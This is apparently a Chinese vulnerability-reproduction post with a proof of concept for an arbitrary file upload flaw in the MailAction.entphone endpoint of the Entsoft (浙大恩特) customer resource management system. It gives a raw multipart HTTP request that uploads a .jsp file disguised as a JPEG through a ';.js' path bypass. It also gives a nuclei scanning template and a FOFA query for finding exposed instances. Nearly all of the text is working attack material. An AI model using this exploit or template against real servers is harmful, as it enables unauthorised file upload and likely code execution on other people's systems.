【漏洞复现】某客户资源管理系统MailAction.entphone接口任意文件上传漏洞 附POC

POST /entsoft/MailAction.entphone;.js?act=saveAttaFile HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0  uacqAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=----4225820000370152680749129212Content-Length: 173 ------4225820000370152680749129212Content-Disposition: form-data; name="file";filename="night.jsp"Content-Type: image/jpeg night------4225820000370152680749129212--

id: enter-MailActionentphone-api-fileupload info:  name: 浙大恩特客户资源管理系统MailAction.entphone接口任意文件上传  author: YGnight  severity: high  description: description  reference:    - https://  metadata:    verified: true    max-request: 1    fofa-query: app="浙大恩特客户资源管理系统"  requests:  - raw:      - |        POST /entsoft/MailAction.entphone;.js?act=saveAttaFile HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: multipart/form-data; boundary=----4225820000370152680749129212         ------4225820000370152680749129212        Content-Disposition: form-data; name="file"; filename="night.jsp"        Content-Type: image/jpeg                Night        ------4225820000370152680749129212--     matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - 'night.jsp'